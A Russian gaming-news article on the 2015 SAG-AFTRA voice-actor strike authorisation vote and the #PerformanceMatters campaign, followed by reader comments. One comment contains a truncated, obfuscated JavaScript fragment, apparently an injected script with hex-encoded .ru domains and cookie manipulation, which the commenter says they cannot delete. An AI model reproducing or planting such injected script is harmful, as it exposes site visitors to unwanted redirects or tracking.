[UPDATE] Голоса персонажей игр собираются устроить забастовку

Дмитрий 'Evon' Рудь, 8 октября 2015 года в 12:57
[UPDATE] Голоса персонажей игр собираются устроить забастовку
► Объединение SAG-AFTRA, представляющее интересы в том числе и актёров озвучки, огласило итоги голосования о начале возможной забастовки.

UPDATE

Пару недель назад мы рассказывали Вам о том, что многие из Ваших любимых актёров озвучки видеоигр обсуждали возможность забастовки. Судя по всему, сегодня мы на шаг приблизились к этому: SAG-AFTRA, объединение, представляющее интересы данных актёров, объявило о том, что члены сообщества высказались в поддержку начала забастовки.

Согласно сообщению SAG-AFTRA, 96,52% (необходимо было собрать всего 75%) его членов проголосовали «за» выдачу объединению разрешения на проведение стачки.

Иными словами, в настоящий момент актеры еще не бастуют, но, если переговоры SAG-AFTRA с издателями и продюсерами грядущих игр в очередной раз провалятся, вероятность подобного сценария возрастёт в разы.

Забастовка, скорее всего, не сможет повлиять на проекты, выход которых состоится в ближайшие несколько месяцев, однако вполне возможно, что она повлияет на разработку тех игр, релиз которых должен состояться через год-два, а также на то, как в будущем разработчики и издатели будут относиться и к другим аспектам производства видеоигр.

ОРИГИНАЛ

Актёры, подарившие свои голоса персонажам таких знаменитых серий, как Mass Effect, Metal Gear Solid и Resident Evil собрались вместе с целью доказать представителям видеоигровой индустрии, что их работа очень важна.

Начиная с 22 сентября актёры и сочувствующие им люди на своих страницах в Twitter оставляют хэштег #PerformanceMatters. Все они хотят одного и того же – повышения вознаграждения за свой труд.

Объединение The Screen Actors Guild‐American Federation of Television and Radio Artists (SAG-AFTRA), представляющее интересы актёров, задействованных в процессе озвучивания видеоигр, грозит устроить забастовку, если требования не будут выполнены. По сообщению на официальном сайте Interactive Negotiations («Интерактивные переговоры»), представители SAG-AFTRA рассчитывают на получение актёрами следующих бонусов: проценты с прибыли от продаж игры; выплаты за «напряжённые сессии» записи и за исполнение трюков.

Актёры озвучки игр готовы устроить забастовку

В разделе часто задаваемых вопросов на сайте также объясняется важность гонораров для актёров озвучивания: в связи с процветанием и расширением границ видеоигровой индустрии, чего ни один другой сегмент сферы развлечений ещё не достиг, возникает потребность в большем поощрении актёров. «По правде говоря, стандартные бонусы – не сверхъестестевенное явление в игровой индустрии». В разделе затем приводятся семизначные суммы бонусов, полученных сотрудниками Activision и EA. Представители сообщества рады успехам этих людей, однако считают, что их собственный труд и мастерство также заслуживает поощрения.

Забастовка – последняя капля терпения представителей объединения. С февраля этого года они безуспешно ведут переговоры с крупными изданиями. Голосование о начале возможной забастовки началось 16 сентября. Если она  всё же начнётся, актёры прекратят участвовать в озвучивании видеоигр до тех пор, пока SAG-AFTRA не договорится с их работодателями о размере бонусных выплат.

Тем временем, такие представители плеяды актёров озвучки, как Дженнифер Хейл (Jennifer Hale), подарившая свой голос женской версии командора Шепарда (Commander Shepard) из серии Mass Effect, и Дэвид Хэйтер (David Hayter), озвучивавший в Metal Gear Solid Солида Снейка (Solid Snake), поддержали данное начинание у себя в Twitter и призывают игроков и других людей поступить так же, распространяя хэштег #PerformanceMatters и #IAmOnBoard2015.

А как считаете Вы, заслуживают ли актёры озвучки видеоигр подобной чести?

21 комментарий
Администратор
ZyXyS
27998
25 сентября 2015 года в 00:58

2Xapoko:

Наверняка подтянется. И он настолько дерьмово озвучил Призрака в Дестини, что ужас.

+1 0   -1 1
25 сентября 2015 года в 01:56

ZyXyS:

Наверняка подтянется. И он настолько дерьмово озвучил Призрака в Дестини, что ужас.

Да? Надо хоть зайти в игру, послушать)))
+1 0   -1 0
25 сентября 2015 года в 02:00

2Xapoko:

" target="_blank">
Так проще, не находите? =)

З.Ы. На мой вкус, новая озвучка от Норта говно.

Что

это за хрень я удалить ее не могу?

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
+1 0   -1 0
25 сентября 2015 года в 02:02
Да, не катит. Причем, тупо не хватет брутальности чтоль. Голос слишком детский для высотехнологичного агрегата XD
+1 0   -1 1
25 сентября 2015 года в 12:28

2antigin:

antigin:

Процент с продаж? Ну это, конечно, довольно жирно. Их наняли проделать определенную работу за оговоренный гонорар. Потом и художники, и сценаристы, и программисты, и т.д. потребуют процент с продаж? 1vanguard: У мужика кариес на зубах мудрости. Это серебряные пломбы.

Ну почему жирно, дать всем жаждущим по 0,00000000001% от продаж, думаю, будет честно, тем более будет смысл стараться сделать продукт лучше, так как от этого будет напрямую зависеть доход сотрудника! Но при этом вообще чтобы без оклада были...

Это медные пломбы, именно поэтому они патиной покрылись )))

+1 0   -1 0
25 сентября 2015 года в 14:58

2ZyXyS:

Если ты про нолана норта то он лучше озвучил гоуста теперь хоть на искусственный интеллект с разумом похож.

+1 0   -1 1
Администратор
ZyXyS
27998
25 сентября 2015 года в 15:04

2FOGUSS:

Теперь Призрак похож на идиотского робота из мультиков, но никак не на "искусственный интеллект с разумом".

+1 0   -1 1
25 сентября 2015 года в 15:12

2ZyXyS:

Не согласен

+1 0   -1 0
26 сентября 2015 года в 17:05

2vaukak:

Речь не о наших актерах озвучки (дубляжа), а об актерах, записывающих оригинальный звук.

+1 0   -1 0
Автор
DarkVampire
10952
27 сентября 2015 года в 10:27

Вообще, справедливое требование, поскольку восприятие 90% продукта зависит от того, как он озвучен. Именно поэтому тот же Марк Хэмилл имеет право потребовать свои бонусы за того же Джокера. Или Дэвид Хэйтер может спросить за Снейка.


2tianuchka:

Какие оклады, если любая разработка для актеров озвучения — это проектная работа с почасовой ставкой?))
+1 0   -1 0